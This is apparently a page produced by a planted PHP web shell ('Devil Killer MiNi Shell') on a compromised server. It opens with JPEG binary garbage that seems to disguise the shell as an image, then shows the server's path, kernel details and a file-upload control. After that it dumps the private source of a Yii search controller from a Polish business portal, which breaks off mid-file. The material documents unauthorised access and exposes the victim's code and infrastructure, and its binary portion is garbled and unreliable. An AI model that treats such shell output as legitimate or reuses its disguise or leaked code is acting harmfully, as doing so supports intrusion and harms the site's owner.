JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/frontend/controllers/

Linux eb5096292c53 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : //home/vmanager/www/frontend/controllers/WyszukiwarkaController.php

<?php
namespace frontend\controllers;

use Yii;
use yii\web\Controller;
use yii\helpers\ArrayHelper;
use yii\data\ActiveDataProvider;
use yii\helpers\Url;
use frontend\models\IndexArticles2 as IndexArticles;
use frontend\models\IndexProducts;
use frontend\models\IndexTrainings;
use frontend\models\IndexPresentations;
use frontend\models\IndexAdvertisements;
use frontend\models\IndexFairs;
use frontend\models\IndexBooks;
use frontend\models\IndexAutocomplete;
use frontend\models\SearchForm;
use common\models\PresentationsTabs;
use common\models\PresentationsPackages;
use common\models\InquiriesTemporary;
use frontend\components\helpers\SlugGenerator;

/**
 * Wyszukiwarka controller
 */
class WyszukiwarkaController extends Controller
{
    use \frontend\components\traits\SeoFunctions;
    /**
     * @inheritdoc
     */
    public function actions()
    {
        return [
            'error' => [
                'class' => 'yii\web\ErrorAction',
            ],
        ];
    }
    
    /**
     * @inheritdoc
     */
    public function beforeAction($action)
    {
        if (!parent::beforeAction($action)) {
            return false;
        }

        $dataSets = Yii::$app->params['modelPortal']->getSettingsKey('data_sets');
        $flag = true;
        switch($action->id) {
            case 'artykuly':
                $flag = intval($dataSets['articles']) === 1;
                break;
            case 'firmy':
                $flag = intval($dataSets['companies']) === 1;
                break;
            case 'ksiegarnia':
                $flag = intval($dataSets['bookstore']) === 1;
                break;
            case 'ogloszenia':
                $flag = intval($dataSets['advertisements']) === 1;
                break;
            case 'produkty':
                $flag = intval($dataSets['products']) === 1;
                break;
            case 'szkolenia':
                $flag = intval($dataSets['trainings']) === 1;
                break;
            case 'targi':
                $flag = intval($dataSets['fairs']) === 1;
                break;
        }
        
        if($flag) {
            return true;
        } else {
            throw new \yii\web\NotFoundHttpException('Not found selected page.');
        }
    }
    
    public function actionWyslijZapytanieDoZnalezionych()
    {
        $what = Yii::$app->request->get('what');
        $limit = 200;
        
        $modelSearchForm = SearchForm::getInstance();
        
        $idInquieryTemporary = Yii::$app->request->cookies->getValue('inquiries_card', null);
        $modelInquiryTemporary = InquiriesTemporary::getInquiry($idInquieryTemporary, Yii::$app->params['modelPortal']->id_portal);        
        if($idInquieryTemporary !== (string)$modelInquiryTemporary->_id) {
            Yii::$app->response->cookies->add(new \yii\web\Cookie([
                'name' => 'inquiries_card',
                'value' => (string)$modelInquiryTemporary->_id
            ]));
        }
        
        $dataSets = Yii::$app->params['modelPortal']->getSettingsKey('data_sets');
        
        if($what === 'firmy') {   
            if(intval($dataSets['companies']) === 0) {
                throw new \yii\web\NotFoundHttpException('Not found selected page.');
            }
            
            $modelSearchForm->setScenario('companies');
            $modelSearchForm->load(Yii::$app->request->get());

            $rawQuery = $this->getRawQueryForCompanies($modelSearchForm);

            $query = IndexPresentations::find()->query($rawQuery);

            $results = $query->limit($limit)->all();
            
            if(!empty($results)) {
                $companiesToAdd = [];
                
                foreach($results as $result) { 
                    $companiesToAdd[] = [
                        'id_company' => (int)$result->id_company, 
                        'id_presentation' => (int)$result->getPrimaryKey(), 
                        'name' => $result->name
                    ];
                }
                
                $modelInquiryTemporary->addCompanies($companiesToAdd);
                $modelInquiryTemporary->save();
            }
        } elseif($what === 'produkty') {
            if(intval($dataSets['products']) === 0) {
                throw new \yii\web\NotFoundHttpException('Not found selected page.');
            }
            
            $modelSearchForm->setScenario('products');
            $modelSearchForm->load(Yii::$app->request->get());

            $rawQuery = $this->getRawQueryForProducts($modelSearchForm);

            $query = IndexProducts::find()->query($rawQuery);

            $results = $query->limit($limit)->all();
            
            if(!empty($results)) {
                $productsToAdd = [];
                
                foreach($results as $result) { 
                    $productsToAdd[] = [
                        'id_product' => (int)$result->getPrimaryKey(), 
                        'name' => $result->name
                    ];
                }
                
                $modelInquiryTemporary->addProducts($productsToAdd);
                $modelInquiryTemporary->save();
            }
        } 
        
        $this->redirect(['zapytania/index']);
    }
    
    protected function getNumberOfHitsForEachSections()
    {
        $dataSets = Yii::$app->params['modelPortal']->getSettingsKey('data_sets');
        
        $modelSearchForm = SearchForm::getInstance();

        if(intval($dataSets['articles']) === 1) {
            $modelSearchForm->setScenario('articles');
            $modelSearchForm->load(Yii::$app->request->get()); 
            $numberOfHits['articles'] = IndexArticles::find()->query($this->getRawQueryForArticles($modelSearchForm))->count();
        }        
        
        if(intval($dataSets['products']) === 1) {
            $modelSearchForm->setScenario('products');
            $modelSearchForm->load(Yii::$app->request->get()); 
            $modelSearchForm->loadBoundaryIfExists();
            $numberOfHits['products'] = IndexProducts::find()->query($this->getRawQueryForProducts($modelSearchForm))->count();
        }
     
        if(intval($dataSets['companies']) === 1) {
            $modelSearchForm->setScenario('companies');
            $modelSearchForm->load(Yii::$app->request->get()); 
            $modelSearchForm->loadBoundaryIfExists();
            $numberOfHits['companies'] = IndexPresentations::find()->query($this->getRawQueryForCompanies($modelSearchForm))->count();
        }        

        if(intval($dataSets['bookstore']) === 1) {
            $modelSearchForm->setScenario('bookstore');
            $modelSearchForm->load(Yii::$app->request->get()); 
            $modelSearchForm->loadBoundaryIfExists();
            $numberOfHits['bookstore'] = IndexBooks::find()->query($this->getRawQueryForBookstore($modelSearchForm))->count();
        }        

        if(intval($dataSets['advertisements']) === 1) {
            $modelSearchForm->setScenario('advertisements');
            $modelSearchForm->load(Yii::$app->request->get()); 
            $modelSearchForm->loadBoundaryIfExists();
            $numberOfHits['advertisements'] = IndexAdvertisements::find()->query($this->getRawQueryForAdvertisements($modelSearchForm))->count();
        }        

        if(intval($dataSets['trainings']) === 1) {
            $modelSearchForm->setScenario('trainings');
            $modelSearchForm->load(Yii::$app->request->get()); 
            $modelSearchForm->loadBoundaryIfExists();
            $numberOfHits['trainings'] = IndexTrainings::find()->query($this->getRawQueryForTrainings($modelSearchForm))->count();
        }        

        if(intval($dataSets['fairs']) === 1) {
            $modelSearchForm->setScenario('fairs');
            $modelSearchForm->load(Yii::$app->request->get()); 
            $numberOfHits['fairs'] = IndexFairs::find()->query($this->getRawQueryForFairs($modelSearchForm))->count();
        }        
        
        return $numberOfHits;        
    }
    
    protected function getRawQueryForArticles($modelSearchForm)
    { 
//        if(empty($modelSearchForm->phrase)) {
//            $modelSearchForm->phrase = 'test123';            
//        }
        
        $rawQuery = [
            'bool' => [
                'should' => [
                    ['match' => ['title' => ['query' => $modelSearchForm->phrase, 'boost' => 10.0]]],
                    ['match' => ['source_author' => ['query' => $modelSearchForm->phrase, 'boost' => 4.0]]],
                    ['match' => ['source_company' => ['query' => $modelSearchForm->phrase, 'boost' => 4.0]]],
                    ['match' => ['lead' => ['query' => $modelSearchForm->phrase, 'boost' => 5.0]]],
                    ['match' => ['content' => ['query' => $modelSearchForm->phrase, 'boost' => 3.0]]],
                    ['match' => ['tags' => ['query' => $modelSearchForm->phrase, 'boost' => 8.0]]],
                ],
                "minimum_should_match" => 1,
                'filter' => [
                    ['term' => ['portals' => Yii::$app->params['modelPortal']->id_portal]]
                ],
            ]
        ];
        
        if(!empty($modelSearchForm->dateStart) || !empty($modelSearchForm->dateEnd)) {
            $filter = [
                'range' => [
                    'publication_datetime' => [
                        'format' => "yyyy-MM-dd"
                    ]
                ]
            ];            
            if(!empty($modelSearchForm->dateStart) && !empty($modelSearchForm->dateEnd)) {
                $filter['range']['publication_datetime'] = array_merge($filter['range']['publication_datetime'], ['gte' => $modelSearchForm->dateStart, 'lte' => $modelSearchForm->dateEnd]);
//                $rawQuery['bool']['filter'][] = [
//                    'range' => [
//                        'publication_datetime' => [
//                            'gte' => $startDate,
//                            'lte' => $endDate,
//                            'format' => "yyyy-MM-dd"
//                        ]
//                    ]
//                ];
            } elseif(!empty($modelSearchForm->dateStart)) {
                $filter['range']['publication_datetime'] = array_merge($filter['range']['publication_datetime'], ['gte' => $modelSearchForm->dateStart]);
//                $rawQuery['bool']['filter'][] = [
//                    'range' => [
//                        'publication_datetime' => [
//                            'gte' => $startDate,
//                            'format' => "yyyy-MM-dd"
//                        ]
//                    ]
//                ];
            } else {
                $filter['range']['publication_datetime'] = array_merge($filter['range']['publication_datetime'], ['lte' => $modelSearchForm->dateEnd]);
//                $rawQuery['bool']['filter'][] = [
//                    'range' => [
//                        'publication_datetime' => [
//                            'lte' => $endDate,
//                            'format' => "yyyy-MM-dd"
//                        ]
//                    ]
//                ];
            }
            $rawQuery['bool']['filter'][] = $filter;
        }
        
        /*
                {
                    // The relevancy of old posts is multiplied by at least one.
                    // Remove if you want to exclude old posts
                    "weight": 1
                },
                {
                    // Published this month get a big boost
                    "weight": 5,
                    "gauss": {
                        "date": { // <- Change to your date field name
                            "origin": "2017-04-07", // Change to current date
                            "scale": "31d",
                            "decay": 0.5
                        }
                    }
                },
                {
                    // Published this year get a boost
                    "weight": 2,
                    "gauss": {
                        "date": { // <- Change to your date field name
                            "origin": "2017-04-07", // Change to current date
                            "scale": "356d",
                            "decay": 0.5
                        }
                    }
                }
         */
        
        $output = [
            'function_score' => [
                'query' => $rawQuery,
                'score_mode' => 'sum',
                'boost_mode' => 'multiply',
                'functions' => [
                    [
                        'weight' => 1,
                    ],
                    [
                        'weight' => 5,
                        'gauss' => [
                            'publication_datetime' => [
                                'scale' => '365d'
                            ]
                        ]
                    ],
                    [
                        'weight' => 4,
                        'gauss' => [
                            'publication_datetime' => [                                
                                'scale' => '730d',
                                'offset' => '365d'
                            ]
                        ]
                    ],
                    [
                        'weight' => 3,
                        'gauss' => [
                            'publication_datetime' => [
                                'scale' => '1095d',
                                'offset' => '730d',
                            ]
                        ]
                    ],
                    [
                        'weight' => 2,
                        'gauss' => [
                            'publication_datetime' => [
                                'scale' => '1461d',
                                'offset' => '1095d',
                            ]
                        ]
                    ],
                ],
            ]
        ]; 
        
        return $output;
    }

    public function actionArtykuly()
    {        
        //@backward_compatibility
        //---------------------------
        $response = $this->getRedirectFromOldUrl();
        if(!empty($response)) {
            return $response;
        }
        
        if(Yii::$app->request->get('old')) {
            $queryParams = Yii::$app->request->getQueryParams();
            $queryParams['phrase'] = mb_convert_encoding($queryParams['phrase'], 'UTF-8', 'UTF-8');
            Yii::$app->request->setQueryParams($queryParams);
        }
        //---------------------------
        
        $modelSearchForm = SearchForm::getInstance();
        $modelSearchForm->setScenario('articles');
        $modelSearchForm->load(Yii::$app->request->get());
        
        $rawQuery = $this->getRawQueryForArticles($modelSearchForm);
        
        $query = IndexArticles::find()->query($rawQuery);
        
//        $a = $query->all();        
//        foreach($a as $item) {
//            echo $item['publication_datetime'].' - '.$item['title'].'<br>';
//        }
//        exit;
        
        $dataProvider = new ActiveDataProvider([
            'query' => $query,
            'pagination' => [
                'defaultPageSize' => 15,
            ],
            'sort' => false
        ]);

        $this->setSeoMetadata('search_news', [
            'title' => [$modelSearchForm->phrase.', '.$modelSearchForm->location, Yii::$app->params['modelPortal']->domain], //'{szukana fraza, miasto}','{domena}'
            'keywords' => [$modelSearchForm->phrase.', '.$modelSearchForm->location], //'{szukana fraza, miasto}'
            'description' => [$modelSearchForm->phrase.', '.$modelSearchForm->location, Yii::$app->params['modelPortal']->domain] //'{szukana fraza, miasto}','{domena}'
        ]);  
        
        return $this->render('articles', [
            'dataProvider' => $dataProvider,
            'phrase' => $modelSearchForm->phrase,
            'numberOfHits' => $this->getNumberOfHitsForEachSections()
        ]);
    }   
    
    protected function getRawQueryForProducts($modelSearchForm)
    {
        $actualDate = date("Y-m-d");
        
//        if(empty($modelSearchForm->phrase)) {
//            $modelSearchForm->phrase = 'test123';            
//        }        
//        if((!empty($modelSearchForm->coordinates) && empty($modelSearchForm->distance)) || (!empty($modelSearchForm->distance) && empty($modelSearchForm->coordinates))) {
//            $modelSearchForm->coordinates = '53.119321,18.005646';
//            $modelSearchForm->distance = 100;
//        }  
        
        $rawQuery = [
            'bool' => [
                'must' => [
                    'bool' => [
                        'should' => [
                            ['match' => ['name' => ['query' => $modelSearchForm->phrase, 'boost' => 10.0]]],
//                            ['match' => ['short_name' => ['query' => $modelSearchForm->phrase, 'boost' => 10.0]]],
                            ['match' => ['lead' => ['query' => $modelSearchForm->phrase, 'boost' => 5.0]]],
                            ['match' => ['description' => ['query' => $modelSearchForm->phrase, 'boost' => 3.0]]],
                            ['match' => ['tags' => ['query' => $modelSearchForm->phrase, 'boost' => 8.0]]],
                            
                            [
                                'nested' => [
                                    'path' => 'top_position',
                                    'score_mode' => 'avg',
                                    'inner_hits' => ['size' => 100],
                                    'query' => [
                                        'bool' => [
                                            'must' => [
                                                ['match' => ['top_position.portal' => ['query' => Yii::$app->params['modelPortal']->id_portal]]],
//                                                ['match' => ['top_position.phrases' => ['query' => $modelSearchForm->phrase, 'boost' => 20.0]]],
                                                ['match' => ['top_position.phrase' => ['query' => $modelSearchForm->phrase, 'boost' => 20.0]]],
                                                ['range' => ['top_position.date_start' => ['lte' => $actualDate]]],
                                                ['range' => ['top_position.date_end' => ['gte' => $actualDate]]],
                                            ],
                                            'should' => [
                                                ['match' => ['top_position.priority' => ['query' => 1, 'boost' => 250.0]]],
                                                ['match' => ['top_position.priority' => ['query' => 2, 'boost' => 200.0]]],
                                                ['match' => ['top_position.priority' => ['query' => 3, 'boost' => 150.0]]],
                                                ['match' => ['top_position.priority' => ['query' => 4, 'boost' => 100.0]]],
                                                ['match' => ['top_position.priority' => ['query' => 5, 'boost' => 50.0]]],
                                            ]
                                        ]
                                    ]
                                ]
                            ],
                        ],
                        "minimum_should_match" => 1,
                        'filter' => [
                            ['term' => ['portals' => Yii::$app->params['modelPortal']->id_portal]]
                        ],
                    ],
                ]
            ]
        ];
        
        if($modelSearchForm->locationType === SearchForm::LOCATION_TYPE_REGION && !empty($modelSearchForm->idLocation) && !empty($modelSearchForm->boundaryCoordinates)) {
            $rawQuery['bool']['filter'][] = [
                'geo_polygon' => [
                    'locations' => [
                        'points' => explode(' ', $modelSearchForm->boundaryCoordinates)
                    ]
                ]
            ];
        } else {
            $coordinates = !empty($modelSearchForm->coordinates) ? array_map('floatval', explode(",", $modelSearchForm->coordinates)) : [];
            if(!empty($modelSearchForm->distance) && !empty($coordinates)) {
                $rawQuery['bool']['filter'][] = [
                    'geo_distance' => [
                        'distance' => $modelSearchForm->distance.'km',
                        'locations' => [
                            'lat' => $coordinates[0],
                            'lon' => $coordinates[1]
                        ]
                    ]
                ];
            }
        }
        
        return $rawQuery;
    }
    
    public function actionProdukty()
    {
        //@backward_compatibility
        //---------------------------
        $response = $this->getRedirectFromOldUrl();
        if(!empty($response)) {
            return $response;
        }     
        
        if(Yii::$app->request->get('old')) {
            $queryParams = Yii::$app->request->getQueryParams();
            $queryParams['phrase'] = mb_convert_encoding($queryParams['phrase'], 'UTF-8', 'UTF-8');
            Yii::$app->request->setQueryParams($queryParams);
        }
        //---------------------------
        
        $modelSearchForm = SearchForm::getInstance();
        $modelSearchForm->setScenario('products');
        $modelSearchForm->load(Yii::$app->request->get()); 
        $modelSearchForm->loadBoundaryIfExists();
                
        $rawQuery = $this->getRawQueryForProducts($modelSearchForm);
        
        $coordinates = !empty($modelSearchForm->coordinates) ? array_map('floatval', explode(",", $modelSearchForm->coordinates)) : [];
        $boundaryCoordinates = [];
        
        if($modelSearchForm->locationType === SearchForm::LOCATION_TYPE_REGION && !empty($modelSearchForm->idLocation)) {
            foreach(explode(' ', $modelSearchForm->boundaryCoordinates) as $value) {
                $temp = explode(',', $value);
                $boundaryCoordinates[] = [(double)$temp[0], (double)$temp[1]];
            }
        }
        
        $query = IndexProducts::find()->query($rawQuery);
        
        $dataProvider = new ActiveDataProvider([
            'query' => $query,
            'pagination' => [
                'defaultPageSize' => 15,
            ],
            'sort' => false
        ]);
        Yii::$app->view->params['dataProvider'] = $dataProvider;
        
        $markers = [];
        $models = $dataProvider->getModels();
        if(!empty($models)) {
            $labels = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'];
            $counter = 0;
            if((!empty($coordinates) && !empty($modelSearchForm->distance)) || !empty($boundaryCoordinates)) {
                if(!empty($boundaryCoordinates)) {
                    foreach($models as $model) {
                        if(empty($model->locations)) {
                            continue;
                        }

                        if(count($model->locations) === 1) {
                            if($this->orPointIsInPolygon([$model->locations[0][1], $model->locations[0][0]], $boundaryCoordinates)) {
                                $markers[] = [$labels[$counter], $model->locations[0][1], $model->locations[0][0], $model->getPrimaryKey(), $model->name];
                            }
                        } else {                        
                            $counterForProducts = 1;
                            foreach($model->locations as $location) {
                                if($this->orPointIsInPolygon([$location[1], $location[0]], $boundaryCoordinates)) {
                                    $markers[] = [$labels[$counter].$counterForProducts, $location[1], $location[0], $model->getPrimaryKey(), $model->name];
                                    $counterForProducts++;
                                }
                            }
                        }
                        $counter++;
                    }
                } else {
                    foreach($models as $model) {
                        if(empty($model->locations)) {
                            continue;
                        }

                        if(count($model->locations) === 1) {
                            $calculatedDistance = $this->getDistance($model->locations[0][1], $model->locations[0][0], $coordinates[0], $coordinates[1]);
                            if($calculatedDistance < $modelSearchForm->distance) {
                                $markers[] = [$labels[$counter], $model->locations[0][1], $model->locations[0][0], $model->getPrimaryKey(), $model->name];
                            }
                        } else {                        
                            $counterForProducts = 1;
                            foreach($model->locations as $location) {
                                $calculatedDistance = $this->getDistance($location[1], $location[0], $coordinates[0], $coordinates[1]);
                                if($calculatedDistance < $modelSearchForm->distance) {
                                    $markers[] = [$labels[$counter].$counterForProducts, $location[1], $location[0], $model->getPrimaryKey(), $model->name];
                                    $counterForProducts++;
                                }
                            }
                        }
                        $counter++;
                    }
                }
            } else {
                foreach($models as $model) {
                    if(empty($model->locations)) {
                        continue;
                    }
                    
                    if(count($model->locations) === 1) {
                        $markers[] = [$labels[$counter], $model->locations[0][1], $model->locations[0][0], $model->getPrimaryKey(), $model->name];
                    } else {
                        $counterForProducts = 1;
                        foreach($model->locations as $location) {
                            $markers[] = [$labels[$counter].$counterForProducts, $location[1], $location[0], $model->getPrimaryKey(), $model->name];
                            $counterForProducts++;
                        }
                    }
                    $counter++;
                }
            }            
        }
        
        $this->setSeoMetadata('search_products', [
            'title' => [$modelSearchForm->phrase.', '.$modelSearchForm->location, Yii::$app->params['modelPortal']->domain], //'{szukana fraza, miasto}','{domena}'
            'keywords' => [$modelSearchForm->phrase.', '.$modelSearchForm->location], //'{szukana fraza, miasto}'
            'description' => [$modelSearchForm->phrase.', '.$modelSearchForm->location, Yii::$app->params['modelPortal']->domain] //'{szukana fraza, miasto}','{domena}'
        ]);   
        
        return $this->render('products', [
            'dataProvider' => $dataProvider,
            'phrase' => $modelSearchForm->phrase,
            'coordinates' => $coordinates,
            'distance' => $modelSearchForm->distance,
            'markers' => $markers,
            'numberOfHits' => $this->getNumberOfHitsForEachSections()
        ]);
    }   
    
    protected function getRawQueryForTrainings($modelSearchForm)
    {  
//        if(empty($modelSearchForm->phrase)) {
//            $modelSearchForm->phrase = 'test123';            
//        }        
//        if((!empty($modelSearchForm->coordinates) && empty($modelSearchForm->distance)) || (!empty($modelSearchForm->distance) && empty($modelSearchForm->coordinates))) {
//            $modelSearchForm->coordinates = '53.119321,18.005646';
//            $modelSearchForm->distance = 100;
//        } 
        
        $rawQuery = [
            'bool' => [
                'must' => [
                    'bool' => [
                        'should' => [
                            ['match' => ['name' => ['query' => $modelSearchForm->phrase, 'boost' => 10.0]]],
                            ['match' => ['content_target' => ['query' => $modelSearchForm->phrase, 'boost' => 3.0]]],
                            ['match' => ['content_leader' => ['query' => $modelSearchForm->phrase, 'boost' => 5.0]]],
                            ['match' => ['content_program' => ['query' => $modelSearchForm->phrase, 'boost' => 3.0]]],
                            ['match' => ['content_details' => ['query' => $modelSearchForm->phrase, 'boost' => 3.0]]],
                            ['match' => ['content_all' => ['query' => $modelSearchForm->phrase, 'boost' => 3.0]]]
                        ],
                        "minimum_should_match" => 1,
                        'filter' => [
                            ['term' => ['portals' => Yii::$app->params['modelPortal']->id_portal]]
                        ],
                    ],
                ]
            ]
        ];
        
        if($modelSearchForm->locationType === SearchForm::LOCATION_TYPE_REGION && !empty($modelSearchForm->idLocation) && !empty($modelSearchForm->boundaryCoordinates)) {
            $rawQuery['bool']['filter'][] = [
                'geo_polygon' => [
                    'locations' => [
                        'points' => explode(' ', $modelSearchForm->boundaryCoordinates)
                    ]
                ]
            ];
        } else {
            $coordinates = !empty($modelSearchForm->coordinates) ? array_map('floatval', explode(",", $modelSearchForm->coordinates)) : [];
            if(!empty($modelSearchForm->distance) && !empty($coordinates)) {
                $rawQuery['bool']['filter'][] = [
                    'geo_distance' => [
                        'distance' => $modelSearchForm->distance.'km',
                        'locations' => [
                            'lat' => $coordinates[0],
                            'lon' => $coordinates[1]
                        ]
                    ]
                ];
            }
        }
        
        if(!empty($modelSearchForm->dateStart) || !empty($modelSearchForm->dateEnd)) {
            $filter = [
                'range' => [
                    'dates.date_start' => [
                        'format' => "yyyy-MM-dd"
                    ]
                ]
            ];         
            if(!empty($modelSearchForm->dateStart) && !empty($modelSearchForm->dateEnd)) {
                $filter['range']['dates.date_start'] = array_merge($filter['range']['dates.date_start'], ['gte' => $modelSearchForm->dateStart, 'lte' => $modelSearchForm->dateEnd]);
            } elseif(!empty($modelSearchForm->dateStart)) {
                $filter['range']['dates.date_start'] = array_merge($filter['range']['dates.date_start'], ['gte' => $modelSearchForm->dateStart]);
            } else {
                $filter['range']['dates.date_start'] = array_merge($filter['range']['dates.date_start'], ['lte' => $modelSearchForm->dateEnd]);
            }            
            $rawQuery['bool']['filter'][] = [
                'nested' => [
                    'path' => 'dates',
                    'query' => [
                        'bool' => [
                            'must' => $filter                        ]
                    ]
                ]
            ];
        }

        return $rawQuery;
    }
    
    public function actionSzkolenia()
    {
        //@backward_compatibility
        //---------------------------
        $response = $this->getRedirectFromOldUrl();
        if(!empty($response)) {
            return $response;
        }
        
        if(Yii::$app->request->get('old')) {
            $queryParams = Yii::$app->request->getQueryParams();
            $queryParams['phrase'] = mb_convert_encoding($queryParams['phrase'], 'UTF-8', 'UTF-8');
            Yii::$app->request->setQueryParams($queryParams);
        }
        //---------------------------
        
        $modelSearchForm = SearchForm::getInstance();
        $modelSearchForm->setScenario('trainings');
        $modelSearchForm->load(Yii::$app->request->get());  
        $modelSearchForm->loadBoundaryIfExists();
        
        $rawQuery = $this->getRawQueryForTrainings($modelSearchForm);
        
        $coordinates = !empty($modelSearchForm->coordinates) ? array_map('floatval', explode(",", $modelSearchForm->coordinates)) : [];
        $boundaryCoordinates = [];
        
        if($modelSearchForm->locationType === SearchForm::LOCATION_TYPE_REGION && !empty($modelSearchForm->idLocation)) {
            foreach(explode(' ', $modelSearchForm->boundaryCoordinates) as $value) {
                $temp = explode(',', $value);
                $boundaryCoordinates[] = [(double)$temp[0], (double)$temp[1]];
            }
        }
        
        
        $query = IndexTrainings::find()->query($rawQuery);
        
        $dataProvider = new ActiveDataProvider([
            'query' => $query,
            'pagination' => [
                'defaultPageSize' => 15,
            ],
            'sort' => false
        ]);
        Yii::$app->view->params['dataProvider'] = $dataProvider;
        
//        $markers = [];
//        $models = $dataProvider->getModels();
//        if(!empty($models)) {
//            $labels = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'];
//            $counter = 0;
//            if((!empty($coordinates) && !empty($modelSearchForm->distance)) || !empty($boundaryCoordinates)) {
//                if(!empty($boundaryCoordinates)) {
//                    foreach($models as $model) {
////                        if(empty($model->locations)) {
////                            continue;
////                        }
////
////                        if(count($model->locations) === 1) {
////                            if($this->orPointIsInPolygon([$model->locations[0][1], $model->locations[0][0]], $boundaryCoordinates)) {
////                                $markers[] = [$labels[$counter], $model->locations[0][1], $model->locations[0][0], $model->getPrimaryKey(), $model->name];
////                            }
////                        } else {                        
////                            $counterForTrainings = 1;
////                            foreach($model->locations as $location) {
////                                if($this->orPointIsInPolygon([$location[1], $location[0]], $boundaryCoordinates)) {
